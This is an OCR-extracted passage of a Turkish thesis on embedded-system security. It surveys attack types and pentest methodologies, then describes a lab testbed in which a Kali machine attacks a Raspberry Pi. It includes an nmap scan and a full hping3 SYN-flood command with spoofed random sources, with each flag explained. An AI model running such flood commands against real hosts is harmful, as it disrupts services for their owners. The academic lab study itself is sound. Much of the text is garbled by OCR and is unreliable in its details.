ve isletim sistemi kullanir. Oysa gémiilii sistemler s6z konusu oldugunda, islemcilerde ve
isletim sistemlerinde ¢ok fazla gesitlilik vardir. Bu da her bir sistem i¢in farkli giivenlik

mekanizmalarinin gelistirilmesi gerektigi anlamina gelmektedir.

3.6. Giivenlik Zafiyetleri ve Yapilan Saldirilar

Gomiilii sistemler, 6zel bilgileri ¢almak, gii¢ kaynagini bosaltmak, sistemi yok etmek veya
sistemi amaci disinda kullanmak gibi bir¢ok saldirtya karsi savunmasizdir. Gomiilii

sistemlerde yer alan giivenlik agikliklarina yonelik yapilan saldirilar sunlardir [46]:

e  Enerji drenaji

e Fiziksel izinsiz giris

e Agaizinsiz giris

e Bilgi hirsizhig

e Sahte bilgilerin tanitimi

e Sensoriin veya diger ¢evre birimlerinin hasar gérmesi
e Termal olaylar

e Sistemlerin bagka amaglar i¢in yeniden programlanmasi

3.6.1. Enerji drenaji

Gomiili sistemlerdeki sinirh pil giicii, kaynaklari tiikketen saldirilara karsi bu sistemlerin
savunmasiz hale gelmesine neden olur. Enerji drenaji, hesaplama yiikiinii artirarak uyku
dongiilerini azaltarak veya sensdrlerin veya diger ¢evre birimlerinin kullanimini artirarak

saglanabilir. Bu zafiyetler ile sistemlere tiikenme saldirilar1 gergeklestirilir.

3.6.2. Fiziksel izinsiz giris

Sisteme igeriden yakin olan potansiyel bir saldirgan tarafindan gergeklestirilebilir. Sisteme
fiziksel erisimin gerekli oldugu saldirilara karsi giivenlik agiklari olusturur. Sistem veri

yoluna yapilan gii¢ analizi saldirilar1 buna 6rnektir.
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3.6.3. Aga izinsiz giris
GoOmiilii sistemler aga baglanmastyla birlikte diger genel amacli bilgisayarlar veya sunucular

gibi uzaktan miidahaleye acgik hale gelmektedir. Arabellek tagmasi veya kotii amacl

yazilimlarla aga izinsiz girisler gergeklestirilebilir.

3.6.4. Bilgi hirsizhig

Giivenli olmayan bir ortamda konuslandirilan gomiilii bir sistemde depolanan veriler
yetkisiz erigsime agiktir. Korunmasi gereken bu verilere 6rnek olarak, kriptografik anahtarlar

verilebilir. Bu zafiyetler neticesinde gizlilige kars1 saldirilar gerceklestirilebilir.

3.6.5. Sahte bilgilerin tanitimi

Gomiili cihazlar, sensorler araciligiyla ya da dogrudan bellege yazma yoluyla yanlis
verilerin girilmesine ve kotii amagh kullanima agiktir. Giivenlik kameralarinda yanlis video
beslemesi veya bir elektrik sayacindaki dl¢im verilerinin iizerine yazilmasi buna 6rnek

olarak gosterilebilir.

3.6.6. Termal olaylar

GOmiilii sistemlerin makul cevresel kosullarda caligmasi gerekir. GOmiilii sistemlere
yapilacak saldirilarla sogutma sisteminde ariza meydana getirilebilir ve sistem asir1 1sinarak

saldirganlar tarafindan erisilebilir duruma gelmektedir.

3.6.7. Sistemlerin baska amaglar i¢in yeniden programlanmasi

Birgok gomiilii sistem genellikle belirli bir amag i¢in programlanip kullanilmaktadir. Bu

sistemler, kotii amagh kullanimlar i¢in yeniden programlamaya karsi savunmasiz olabilirler.

3.7. Gomiili Sistemlerde Giivenlik Gereksinimleri

Gomiili sistemlerdeki giivenlik hedefleri diger bilgisayar sistemlerinin giivenlik unsurlar
ile aymidir. CIA (Confidentiality, Integrity, Availability) olarak ifade edilen bu giivenlik

tgliisii bir varligin korunmasi i¢in gereken temel giivenlik ilkelerini igermektedir. Bu
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iclemede Gizlilik, Biitiinlik ve Kullanilabilirlik unsurlart yer almaktadir. Fakat bu
unsurlarin  Onceligi gdmiilii cihazlarda farklilhik tagimaktadir. Gomiilii sistemlerde
giivenlikten once sistemlerin kullanilabilir olmasi 6n plandadir. Bu sebeple Kullanilabilirlik,

Gizlilik ve Biitiinliik olarak onceliklendirme yapilmistir.

UCGENI

Kullanilabilirlik

Sekil 3.1. Bilgi giivenligi unsurlar1

3.7.1. Kullamilabilirlik / Erisilebilirlik

Saldirilarin varligina ragmen istenen sistem hizmetlerinin beklendigi anda kullanilabilir
olmasin1 saglar. GOomiilii bir sistem ic¢in kullanilabilirligi saglamaya yonelik en basit
yaklagim, gomiilii sistemde herhangi bir degisikligin meydana gelmesine asla izin
vermemektir. Gomiilii sistemlerdeki kullanilabilirlik mekanizmalari, DOS ve enerji aglig
saldirtllarinin yani sira kurcalama saldirilartyla miicadele etmeye caligir [47]. Gomiilii bir
sistemin erisilebilirliginin stirekliligi i¢cin beyaz liste, izinsiz girig korumasi, yonetim ve karsi

onlemler uygulamalarinin gergeklestirilmesi onerilmektedir [48].

3.7.2. Biitiinliik

Verilerde yapilan degisikliklerin tespit edilebilir olmasin1 saglayarak, hem kasith degisiklik
veya imha hem de kazara degisiklik veya kayip dahil olmak iizere verileri yetkisiz

degisikliklere kars1 korur.

Bilgi ve sistemlerin dogrulugunun ve giivenilirliginin muhafaza edildigini ve herhangi bir
yetkisiz degisikligin 6nlendigini garanti eder. GOmiilii bir sistem icindeki veriler, isletim

sistemini, uygulamalar1 ve konfiglirasyon verilerini igerebilir. Bu verilerden herhangi biri
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bozulursa, gémiilii sistem amaclanan islevini yerine getirmez veya saldirganin gémiilii

sistemi kullanmasi igin bir arag¢ haline gelebilir [48].

GOmiilii sistemdeki verilerin biitlinliiglinlin bozulmasi, bir konutun temelinin bozulmasi
gibidir: istiindeki bilesenler zayiflatilir ve glivenilemez [49]. Biitiinliigii bozmaya odaklanan
bir saldirgan, sahte bilgiler enjekte etmeye, mevcut verileri bozmaya veya sistemi baska

sekilde aldatmaya calisabilir.

3.7.3. Gizlilik

fletisim kuran taraflar arasinda iletilen verilerin gizliliginin korunmasini garanti eder. Yani
mesru taraflar diginda hig¢ kimse mesajlarin i¢erigini bilmemelidir. Pek ¢ok gomiilii sistemde,
sistem i¢inde depolanan bilgilerin (6r. Giivenli anahtar) yetkisiz erisime karsi korunmasi ¢ok
onemlidir. Gizlilik ilkesi, bilgilerin yetkisiz kisilere, programlara veya islemlere ifsa
edilmedigine dair giivence sunarak veri islemenin her bir noktasinda gerekli gizlilik
diizeyinin uygulanmasini saglar ve yetkisiz ifsalari 6nler [49]. Bu nedenle, gizliligi bozmaya
odaklanan bir saldirgan, bilmeye yetkili olmadig1 hassas bilgileri (6r. Sifreler, finansal

bilgiler veya ticari sirlar) 6grenmeye calisir.

Yukarida bahsedilen bilgi giivenligi gereksinimleri ile birlikte ele alinmasi gereken diger

ilkelerden asagida kisaca bahsedilmistir.

Kimlik Dogrulama

Sistemi kullanmalarina izin verilmeden 6nce kullanicilart dogrulama siirecini ifade eder.

Erisim Kontroli

Sistemin yalnizca yetkili kullanicilar i¢in kullanilabilir olmasidir.

Kurcalamaya Dayaniklilik

Gomiili bir sistem koti niyetli kisilerin eline gectiginde bile bu giivenlik gereksinimlerini

surdiirme arzusunu ifade eder.
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Gilivenilirlik

Gomiili sistemlerin genellikle yillarca hatasiz ¢alismasi beklenir. Gilivenilir bir sekilde
islevsellik saglanmasi, siirekli hizmet ve vaat edilen hizmet Kkalitesinden 6diin

verilmemelidir. Bu nedenle gomiilii bir sistem giivenilir olmalidir [50].

Giivenlik

Sistemin kullanicilar veya gevre igin felaketle sonuglanan olaylara yol agmayacagi anlamina
gelir. Giivenlik gorecelidir, olasi tiim risklerin ortadan kaldirilmasi genellikle imkansizdir.
Kullanilabilirlik ve giivenilirlik tiim arizalar1 6nlerken, giivenlik yalnizca kiigiik bir alt kiime

olan felaketle sonuclanan arizalari onler.

Tiim bu bilesenler incelendiginde tek basina higbir giivenlik ilkesinin gomiilii bir sistem igin
yiizde yiiz koruma sagladig1 sdylenemez. Gomiilii sistem i¢in daha giiclii, cok yonlii koruma

saglayan ve tiim bu ilkelerin bir araya getirildigi mekanizmalar gelistirilmelidir.
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4. RASPBERRY Pi

4.1. Raspberry Pi’ye Genel Bakis

Raspberry Pi, bir bilgisayar monitoriine veya televizyona baglanan, Klavye ve fare ile
kullanilabilen diisiik maliyetli kredi kart1 boyutunda bir bilgisayar olarak tanimlanir [51].
Diinya capinda 6zellikle Bilgisayar Bilimi, Elektronik ve GOomiilii Sistemler alanindaki
arastirmacilar basta olmak iizere herkes tarafindan kullanilmaktadir. 2019 yihi itibariyle 30
milyon adet ¢esitli Raspberry Pi modeli satilmistir [52]. Raspberry Pi’nin gelistirilmesinin
arkasindaki ana fikir ise bilgisayarlarin pahali oldugu ve c¢ocuklar arasinda programlama
uygulamasinin Ingiltere'deki ¢ocuklarm ebeveynleri tarafindan desteklenmedigi dénemde
cocuklara kiigiik ve uygun fiyath bilgisayar verme diisiincesi olmustur [53]. Eben Upton
liderliginde calisan ekip cesitli prototipler ve versiyonlar gelistirdikten sonra son siiriimii

“Raspberry Pi” olarak adlandirmistir [54].

Kredi kart1 boyutunda tek kartli bir bilgisayar olarak ifade edilen cihaz 35 ABD dolarindan
satisa sunulmaktadir [55]. Her tiirlii bilgi islem gorevini gergeklestirmekte ve dis diinya ile
etkilesim sunmaktadir. Raspberry Pi'nin ¢alisma prosediirii, genel amagli bilgisayarlara ¢ok
benzerdir ve isletim icin klavye, fare, ekran iinitesi, gli¢ kaynagi, isletim sistemi yiiklii SD
Kart gibi ek donanim gerektirir. Raspberry Pi ayrica USB baglant1 noktalar1 igermektedir.
Raspberry Pi Vakfi tarafindan kamera gibi ¢esitli donanim aksesuarlar1 da kullanicilar igin

piyasaya siiriilmiistiir [56].

4.2. Avantaj ve Dezavantajlar

Raspberry Pi kullaniminin avantajlari sunlardir [56,57]:

e Kiigiik, giiglii ve verimli bir kompakt formda bilgisayar olarak kabul edilir ve ¢ok
ucuzdur. Cesitli kiiciik 6lgekli firmalar, web sunucusu ve veritabani sunucusu gibi
kiiclik ve orta diizeydeki gorevleri yapmak icin Raspberry Pi'yi kullanabilir. Boylece,
maliyet acisindan tasarruf saglanabilir.

e Kapsamli programlama deneyimi i¢in tek bir platform goérevi gorebilir. Pi tarafindan

cesitli programlama dilleri desteklenir. Kullanilan ana programlama dili ise Python’dur.
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e  Uriin acik kaynakli isletim sistemini ve agik kaynakli uygulamalari desteklemektedir.
Bu nedenle, ¢esitli Linux siirlimlerinde onlarca isletim sistemi ve bu Linux isletim
sistemindeki milyonlarca uygulama Raspberry Pi'de kullanilabilir.

e Raspberry Pi, butonlar ve ledler gibi ii¢iincii taraf donanimin baglanmasini kolaylastiran
ek donanimlar1 destekler ve kullanici Pi iizerinde ¢esitli islemleri gerceklestirebilir.

e  Uriin enerji agisindan verimlidir.

e Bir LAN adaptorii lizerinden ag cihazlariyla iletisim miimkiindiir.
Raspberry Pi kullaniminin kisitlar ise sunlardir [56,57]:

e Ethernet baglanti noktasi ve islemci ¢oklu gorevleri islemek igin yeterince hizlh
olmadigindan tam donanimli bir bilgisayar olarak kabul edilemez.

e Tam islevsel Windows Isletim Sistemi ile uyumlu degildir.

e Pil yedeklemeli Gergek Zamanli Saat (RTC) yoktur. Zaman yalnizca NTP Sunucusu
kullanilarak asilabilir ve isletim sistemlerinin ¢ogu bu gorevi otomatik olarak yapar.

e Bluetooth'u, kutudan ¢iktig1 haliyle Wi-Fi'yi desteklemez ve hatta gesitli USB Tabanli
donanim kilitleri de kablosuz baglanti i¢in desteklenmez.

e Dahili ADC Déniistiiriiciisii yoktur. ADC amagh harici sarj cihazi kullanilmaktadir.

e BIOS’a sahip olmadigi i¢in her zaman bir SD karttan 6nyiikleme yapar.

4.3. Raspberry Pi’nin Gelisimi

Cocuklar igin kii¢iik ve ucuz bir bilgisayar gelistirme fikri, 2006 yilinda Eben Upton, Rob
Mullins, Jack Lang ve Alan Mycroft'un aralarinda bulundugu bir ekipten dogmustur. Bu
fikrin ortaya gikma sebebi ise, Cambridge Universitesi’nde Bilgisayar Bilimleri okumak i¢in
bagvuran 0grencilerin say1 ve beceri diizeylerinde diisiis gerceklesmesiydi. Her akademik
yilda 1990'larda bagvuran c¢ocuklarin ¢ogunun deneyimli hobi programcilar1 olarak
goriismeye geldigi bir durumdan, 2000'lerdeki manzara ¢ok farkliydi. Artik bagvuru yapan
kisiler deneyimsiz kisilerden olusmaktaydi. 2006 yilinda Upton, Broadcom igin ¢aligmaya
basladi ve diger zamanlarda diisiik maliyetli bir bilgisayar gelistirme ¢aligmalarina devam
etti. 2008 yilina kadar Eben Upton Raspberry Pi’nin birkag prototipini gelistirerek orijinal
dort yaratici, Pete Lomas ve David Braben ile birlikte Raspberry Pi Vakfi'n1 kurdu ve ii¢ yil
sonra seri olarak tiretilen ilk Pi montaj hattindan ¢ikt1 [58,59]. Pi ile Python kodlama diline,
Raspberry adi ile Apple ve Tangerine gibi meyve ile isimlendirilen sistemlere atifta

bulunulmustur [60].
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5. GUVENLIK TESTIi METODOLOJILERI

GoOmiilii sistemlere s1izma testleri gerceklestirmek, 6zellikle kritik altyapilarda kullanilan bu
cihazlarin giivenlik ihtiyaglarinin saglanmasi agisindan onemli bir konudur. Bu testler
yapilirken ise tiim sistemlere ya da cihazlara uygulanmasi gereken belirli adimlar vardir. Bu
adimlar bilgi toplamak, kesif yapmak, zafiyetleri bulmak, zafiyetleri istismar etmek ve
sistemi ele ge¢irmek olup bu asamalar s1izma testlerinin yasam dongiisiinii olusturmaktadir
[61]. Bu yasam dongiisiinii iginde barindiran uluslararasi bazi standartlar ve metodolojiler
yer almaktadir. Bunlardan en ¢ok kullanilanlart OWASP, OSSTMM, ISSAF, NIST SP 800-
115 ve PTES olarak karsimiza ¢ikmaktadir.

5.1. OWASP

OWASP yazilim giivenligini artirmak i¢in calisan kar amaci giitmeyen bir kurulustur.
Geligstiricilerin web uygulamalarini daha giivenli hale getirmek i¢in kullandiklar1 bir
kaynaktir. Bu kurulus tarafindan sunulan kilavuzlar, web uygulamalarinin giivenliginin test
edilmesi amaciyla kullanilmaktadir. Diinya capinda yazilim giivenligini gelistirmeye
odaklanan kurulusun misyonu, birey ve kuruluslarin ger¢ek yazilim giivenlik riskleri

hakkinda bilingli karar verebilmesi i¢in yazilim giivenligini dne ¢ikarmaktir [62, 63].

OWASP tarafindan iireticilerin giderek daha giivensiz hale gelen bir diinyada giivenli
cihazlar olusturmalari igin ayrintili teknik bilgiler sunan yol haritasi niteliginde Gomiili
Uygulama Giivenligi Projesi gelistirilmistir. Proje kapsaminda olusturulan belge, yalnizca
tireticilerin glivenligi goz 6niinde bulundurarak gomiilii cihazlar iiretmelerine yardimer olma

amaci tagimaktadir [64].

5.2. OSSTMM (Open Source Security Testing Methodology Manual)

Acik Kaynak Giivenlik Testi Metodoloji Kilavuzu (OSSTMM), giivenlik riskleri, dl¢timler
ve aciklamanin yani sira farkl test tiirlerinin planlanmasi ve yliriitiilmesine iliskin temel
bilgileri igerir. Bununla birlikte, sizma testine odaklanan ayrintili bilgi igeren bir bdliim

yoktur. Son versiyonu 2010 yilinda yayimlanmistir [65].
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5.3. ISSAF (Information Systems Security Assesment Framework)

Bilgi Sistemleri Giivenlik Degerlendirme Cergevesi (ISSAF) aktif bir topluluk olmamakla
birlikte, s1izma testleri i¢in 1yi bir referans kaynagidir. Kapsamli sizma testi teknik rehberligi
sunar. Bilgi sistemi giivenlik degerlendirmesini ¢esitli alanlara gére kategorize eden ve bu
alanlarin her biri i¢in 6zel degerlendirme veya test kriterlerini ayrintilartyla anlatan yapisal
bir ¢ergevedir. ISSAF, oncelikle bir kurulusun giivenlik degerlendirme gereksinimlerini
karsilamak i¢in kullanilmalidir ve ayrica diger bilgi giivenligi ihtiyaclarini karsilamak i¢in
bir referans olarak da kullanilabilir. ISSAF, giivenlik siire¢lerinin dnemli yoniinii ve var
olabilecek giivenlik agiklarinin tam bir resmini elde etmek i¢in bunlarin degerlendirilmesini

ve saglamlastirilmasini igerir. Son versiyonu Mayis 2006 yilinda yayimlanmustir [66, 67].

5.4. NIST SP 800-115 (Bilgi Giivenligi Testi ve Degerlendirmesi icin Teknik Kilavuz)

ABD Ulusal Standartlar ve Teknoloji Enstitiisii tarafindan 2008 yilinda yayimlanan bu
belgenin amaci, kuruluslarin teknik bilgi giivenligi testi ve degerlendirmelerini planlama,
yiirlitme, bulgular1 analiz etme ve strateji gelistirme konusunda bir yontem saglamaktir. Bir
sistem veya agdaki giivenlik agiklarinin bulunmasi gibi ¢esitli amaglarla kullanilabilen
giivenlik testi, degerlendirme siirecleri ve prosediirleri ile ilgili teknik bilgilerin tasarlanmasi,

uygulanmasi ve siirdiiriilmesi igin pratik oneriler sunmaktadir [68].

5.5. PTES (Penetration Testing Execution Standard)

Penetrasyon Testi Uygulama Standardi (PTES) sizma testi yontemini igeren bir standarttir.
Si1zma testinde eksiksiz ve giincel bir standarda olan ihtiyaci ele almak gelistirilmistir.
Giivenlik uzmanlarina rehberlik etmenin yani sira, isletmeleri bir sizma testinden ne
beklemeleri gerektigi konusunda bilgilendirmeye ve onlara rehberlik etmeye ¢alisir. Ayrica
bu standart, gercek bir sizma testinin nasil gerceklestirilecegine dair bir teknik kilavuzla
birlikte sunulmaktadir [69].
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6. DENEY VE ANALIZ ASAMASI

Bu boliimde calisma kapsaminda olusturulan test ortaminda agiklik analizi saldirilarinin
gerceklestirilmesi, tespiti ve sonuglar1 ele alinmistir. Bu saldirilarin hedefinde ise gomiili
sistem ve nesnelerin interneti uygulamalarinda yaygin olarak kullanilan Raspberry Pi cihazi

yer almaktadir.

6.1. Test Ortaminin Hazirlanmasi

Calismada, gomiilii sistem uygulamalarinda kullanilan Rasberry Pi cihazina yonelik DD0S
MitM ve Siire¢ Oldiirme saldirilar1 Kali isletim sisteminde yer alan Metasploit, Ettercap ve
hping3 saldir1 araglar1 ile Wireshark trafik analizi aract kullanilarak Sekil 6.1°de belirtilen

deneysel ag topolojisi iizerinde gerceklestirilmistir.

|

RASPBERRY KALI

. IR Pl (KURBAN) /\\ (SALDIRGAN)
Internet
Led — =
192.168.1.37 192.168.1.38

L1 wiNDOWS

— =

192.168.1.40

Sekil 6.1. Test topolojisi

Test ortaminda, bir adet Raspberry Pi kart1 ve buna bagh bir led, Raspberry Pi ile arasinda
veri trafigi olan bir Windows bilgisayar ve Kali Linux isletim sistemi kurulu bir adet
saldirgan bilgisayar yer almaktadir. Cihazlar internet agi lizerinden birbirlerine baghdir.
Kullanilan saldir araglar i¢in Kali isletim sistemi, Vmware sanallastirma yazilimi lizerine
kurulmustur. Kali, penetrasyon testleri igin tasarlanmis agik kaynakl bir igletim sistemidir.
Raspberry Pi’ye bagli led devresi i¢in ekipman olarak devre tahtasi, jumper kablolari, direng
ve kirmizi led kullanilmistir. Bir led devresi tasarlanip, ardindan devreyi Raspberry Pi

tizerindeki genel amach giris / ¢ikis (GPIO) pinlerine baglayarak led devresi Raspberry
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Pi'den kontrol edilebilir hale getirilmistir. led devresi, bir led ve direngten olugmaktadir.
Direng, ¢ekilen akimi sinirlamak i¢in kullanilir ve buna akim sinirlayici direng denir. Direng
olmadan led voltajin ¢ok yiiksek oldugu bir ortamda calisacak ve bu da ¢ok fazla akim
¢ekilmesine neden olacak ve bu da aninda ledi ve muhtemelen Raspberry Pi {izerindeki
GPIO baglant1 noktasini yakacaktir [70]. Deney ortaminda kullanilan cihazlarin bilgileri
Cizelge 6.1°de belirtilmistir.

Cizelge 6.1. Deney ortaminda kullanilan cihaz bilgileri

Cihazlar IP Adresleri MAC Adresleri Rolii/Amac1
Raspberry Pi 192.168.1.37 b8:27:eb:08:86:07 Kurban / Istemci
Windows Bilgisayar | 192.168.1.40 fc:f8:ae:4e:c2:df Sunucu

Kali Bilgisayar 192.168.1.38 1c:bf:ce:1d:e4:c9 Saldirgan

Calismada, Raspberry Pi’ye baglanan led devresinin siirekli yanip sonmesi amaglanmis ve
topolojide yer alan Windows makinaya bu led bilgilerini gondermesi hedeflenmistir.
Boylelikle ger¢ek diinyada uzaktaki bir gomiilii sistemden gelen verinin takip edilmesi

senaryosu olusturulmustur.

Ledin yanip sonmesi amaciyla yazilan python kodu Sekil 6.2’de yer almaktadir. Kod
parcacigina, once ilgili kiitiiphaneler olan GPIO ve time kiitliphaneleri eklenmistir. GPIO
kiitliphanesi GPIO pinlerini kontrol edebilmek i¢in gereklidir. Ardindan GPIO pinlerinden
12 numarali pin kullanilmistir. 12 numarali pin ¢ikis pini olarak tanimlanmis ve baslangigta
kapali olmasi gerektigi belirtilmistir. Son olarak ledin 1 saniye araliklarla siirekli yanip

sonmesi i¢in tanimlama yapilmis ve ledin basariyla yanip sondiigii Sekil 6.3°te goriilmiistiir.
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mmport RP1.GPIO as GPIO
import time

GPIO setwarnings(False)
GPIO.setmode(GPIO.BOARD)
GPIO.setup(12, GPIO.OUT, mitial=GPIO.LOW)

while True:
GPIO.output(12, GPIO.HIGH)
time.sleep(1)
GPIO.output(12, GPIO.LOW)
time.sleep(1)

Sekil 6.2. Ledin yanip sonmesini saglayan python kodu [71, 72]

Sekil 6.3. Ledin yandig1 esnada alinan goriintiisii

Ikinci adim yanip sénen led verilerinin (yandiginda 1, séndiigiinde 0) Windows makinaya
gonderilmesi islemidir. Bu maksatla soket programlama yontemi kullanilmistir. Soket
programlama, TCP/IP protokolii araciligiyla ayni agda yer alan iki cihazin bir kanal

yardimiyla haberlesmesi olarak tanimlanmaktadir [73].

Soketler genellikle istemci ve sunucu etkilesimi i¢in kullanilir. Istemciler sunucuya baglanir,
bilgi aligverisinde bulunur ve ardindan baglantiy1 keser. Sunucu 6nce istemcilerin sunucuyu
bulmak icin kullanabilecegi bir adres olusturur. Adres belirlendiginde, sunucu istemcilerin
bir hizmet talep etmesini bekler. Istemciden sunucuya veri alisverisi, bir istemci bir soket
araciligryla sunucuya baglandiginda gerceklesir. Sunucu, istemcinin istegini gerceklestirir

ve yanit1 istemciye geri gonderir [74].
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Bu ¢alismada python kullanilarak sunucu ve istemci i¢in iki farkli kod pargacigi yazilmistir.

Sunucu tarafi kod blogu Sekil 6.3’de, istemci tarafi kod blogu Sekil 6.4’te yer almaktadir.

led2.py - CAUsers\Lenovo\Desktop\AVOKADONTEZ DOKUMANTASYON_T\main.py - o A

Sekil 6.4. Sunucu (Windows) tarafi soket programlama python kodu

Istemci tarafi igin yazilan soket programlama kodu ile LED’in yanip sénmesi i¢in yazilan
kod parcacig1 birlikte yazilarak, yanip soénen led verilerinin soket yardimiyla gonderilmesi

amaclanmustir.

% O E’ p\@raspberryp\ ~ pi Thonny - /home/pifled2 py @ 14:16 ’-6? 1638

Thonny - /home/pi/led2py @ 1416

%y 4 OB

New Load Aun Debug

led2py % Variables

import socket
import time
import RP1i.GPIO as GPIO

GPI0.setmode(GPIO.BCM)
GPIO0.setwarnings(False)
GPIO.setup(12,GPI0.0UT)

HOST = ' .168.1.40"

PORT = & ]

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect ( (HOST, PORT))
while True:

GPIO.output(12,GPI0.HIGH)
acik=[GPIO0.input(12)]
acik=str(acik)

acik=acik .encode()
s.sendall(acik)
time.sleep(1)

GPIO.output(12,GPIO0.LOW)
kapali=[GPIO.input(12)]
kapali=str(kapali)
kapali=kapali.encode()
s.sendall(kapali)
time.sleep(1)

Sekil 6.5. Istemci (Raspberry Pi) tarafi soket programlama python kodu
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Test ortaminin hazirlanma siireci, topolojinin olusturulmasi, ledin yanmasi ve led verilerinin
iletilmesiyle tamamlanmistir. Bundan sonraki adimlarda saldir1 asamasina gegilmistir. ilk
olarak hizmet dis1 birakma saldirisi, ardindan ortadaki adam saldirisi ve son olarak siire¢
Oldiirme saldiris1 gerceklestirilmistir. Bu saldirilar sizma testi metodolojileri adimlari

izlenerek yapilmaistir.

6.2. Hizmet Dis1 Birakma Saldiris1 (DoS) / Pseudo (Yalanci) DDoS

DoS saldirisi, ¢alisan bir hizmeti engellemek veya aksatmak i¢in yapilan saldir1 olarak bilinir
[75]. Tek bir kaynak kullanilarak gergeklestirildigi i¢in DoS olarak isimlendirilen bu saldiri,
birden fazla dagitilmis kaynak kullanilarak (botnet) gergeklestirildiginde DDoS olarak
adlandirilir. DoS ve DDoS saldirilarinin temel amaci, agin, bilgisayar sistemlerinin ve
donanimlarinin bant genisligi, hafiza ve disk alani1 gibi kaynaklarinin kaldirabileceginden
daha fazla yiik bindirilmesinin saglanarak; sistemin kullanilamaz hale getirilmesidir [76].
Bu c¢aligmada olusturulan topoloji kapsaminda Raspberry Pi’ye DoS saldirist

gergeklestirilmis ve saldir1 adimlart Sekil 6.5te ki akis semasinda gosterilmistir.
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1
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1
1

TARAMA (Aymi adda "Nmap" arac
ile tarama gerceklestirilir.)

Tarama sonucunda
Raspberry Pi tespit
edildi mi?

DoS Saldinst "Hping" araci
kullanilarak gerceklestirilir.

Hayir
Saldinh Basanh Mi?

v

"Wireshark" araa ile cihaz
iizerinden gecen saldin
paketleri gézlemlenir.

'

Hedef cihaza giden ping
paketlerinin siiresinde
artis gézlemlenir.

Sekil 6.6. Hizmet dig1 birakma daldiris1 (DoS) akis diyagrami

Kesif Asamasi

Saldin Asamasi

Saldin Tespit
Asamasi

Oncelikle saldir1 yapilacak sistemle dogrudan iletisime gegmeden (pasif) veya iletisime

gecerek (aktif) bilgi toplama islemi gerceklestirilir. Kali isletim sistemi {izerinde yer alan ve

aktif bilgi toplama araglarindan olan nmap ile ag taranarak hedef cihaz olan Raspberry Pi’nin

IP adresi ve MAC adres bilgisi Sekil 6.6’da goriildiigii gibi elde edilmistir. DoS saldiris1 igin

ihtiyac duyulan tek sey hedef makinanin IP adresi oldugu i¢in Kali igletim sistemi iizerinde

yer alan hping3 araciyla saldir1 baslatilmistir.




Applications v

shared- tools.sh
folders.sh

G %

exploit.txt

tokens.txt

i
-

onuc.txt.
txt

Ngs
L)

7 kayit.txt
=
A

Al A

mount-restart-vm-

root@Kkali: ~

File Edit View Search Terminal Help

873/tcp open rsync

Nmap done: 256 IP addresses (7
~#
i~

hosts up) scanned in 24.36 seconds

:~# nmap -sn 192.168.1.0/24

Starting Nmap 7.70 ( https://nmap.org ) at 2021-01-23 11:53 EST

Nmap scan report for 192.168.1.
Host is up (0.0056s latency).
MAC Address: B8:EC:A3:87:7C:44
Nmap scan report for 192.168.1.
Host is up (0.099s latency).
MAC Address: 28:24:FF:EE:93:79
Nmap scan report for 192.168.1.
Host is up (0.059s latency).
MAC Address: CC:21:19:41:EA:F4
Nmap scan report for 192.168.1.
Host is up (0.059s latency).
MAC Address: 5C:6B:D7:09:D8:360
Nmap scan report for 192.168.1.
Host is up (0.060s latency).
MAC Address: B8:27:EB:08:86:07
Nifiap~SCai Teport 107 19Z.168. 1.

1

(ZyXEL Communications)
33

(Wistron Neweb)
35

(Unknown)
36

(Unknown)
37

(Raspberry Pi Foundation)
a1

Host is up (0.11s latency).

MAC Address: FC:F8:AE:4E:C2:DF (Intel Corporate)

Nmap scan report for 192.168.1.38

Host is up.

Nmap done: 256 IP addresses (7 hosts up) scanned in 8.82 seconds

Sekil 6.7. Nmap araci ile ag taramasi

Sekil 6.7°de saldir1 gergeklestirilmeden 6nce Raspberry Pi’den Windows makinaya dogru
gonderilen ping paketleri ve ping siireleri ile cihazin CPU degeri yer almaktadir . Burada

ping siirelerinin kisa ve Raspberry Pi’nin CPU degerinin diistik oldugu goriilmektedir.

Dosya Diizenle Sekmeler Yardim

System

SETTINGS

Sekil 6.8. Saldir1 6ncesi Raspberry Pi’nin durumu

Kali'de “hping3 -c 10000 -d 1200 -S -w 64 -p 80 --flood --rand-source 192.168.1.37”
komutu ¢alistirilmstir. "-c 10000 gonderilecek paket sayisinin 10000 oldugu, "-d 1200"
hedef makineye gonderilen her paketin boyutunun 1200 bayt oldugu, "-S" yalnizca SYN
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paketlerinin gonderilecegi, "-w 64" TCP pencere boyutu, "-p 80" hedef baglanti noktasi, "'-
-flood" gelen yanitlar1 gostermeye Ozen gostermeden paketlerin olabildigince hizl

gonderilecegi, "--rand-source " ise rastgele kaynak IP adresinin (bogon) kullanilacagi
anlamina gelir. DoS saldiris1 baslatildiktan sonra, ping komutu ile Windows PC ve

Raspberry Pi arasindaki baglant1 kontrol edilir.

Wireshark trafik analiz araci ile saldirgan bilgisayardan kurbana giden TCP paketleri Sekil
6.8’de goriilmektedir. Tek kaynaktan yapilan saldirilarda paketler genel olarak aymi IP
adresinden gelmektedir. Fakat IP sahteciligi yapilarak farkli IP adreslerinden yapilan DoS
saldirilarinda ise saldiriin hangi IP adresinden gergeklestirildigini tespit etmek ¢ok zordur.
Wireshark ¢iktisinda goriildiigii tizere hping3 aracinin IP sahteciligi 6zelligi ile Raspberry
Pi‘ye rastgele kaynaklardan (bogon IP) saldirilar ger¢eklesmektedir. Bu sebeple bu saldiri
Pseudo(yalanci/s6zde) DDoS saldirisi olarak ifade edilir.

@ kali - VMware Workstation - 5 IEN

File Edit View VM Tabs Help - 3 [ ==

(5 kali 5 My Computer

Capturing from wian0
root@Kkali: ~

hping3: invalid option -- 1
Try hping3 --help
:~# hping3 -d 1200 -S -w 64 -p 80 -flood --rand-source 192.168.1.37
hping3: invalid option -- 1
PEERGEREGE) Try hping3 --help [TCP segment
:~# hping3 -c 10000 -d 1200 -S -w 64 -p 80 flood --ras source 192.168.1.37 [TCP segment
PEERGEPEREL HPING 192.168.1.37 (wlan® 192.1 S set, 40 headers + 1200 data bytes [TCP segment
PEERCEFELEPS hping in flood mode, no replies will shown [TCP segment
298.6526674 [TCP segment
298652844 192.168.1.37 hping statistic [TCP segment
2986529868 ELELINE] transmitted, © packets received, 100% packet loss [TCP segment
298.653063MCHLEERT ST vg/max = 0.0/0. [TCP segment
93 -c 10000 -d 5 -w 64 -p 80 --flood --rand-source 192,168.1.37 Poo [TCP segment
PEEBGEREEL! PING 192.168.1.37 (wlané : .37) , 40 headers + 1200 data bytes D [TCP segment
298. 653473 N 2 e OO [TCP segment
298. 6536684 | Boo [TCP segment
298.653809225 8.49.34. 192.168.1.3 1254 59043 —

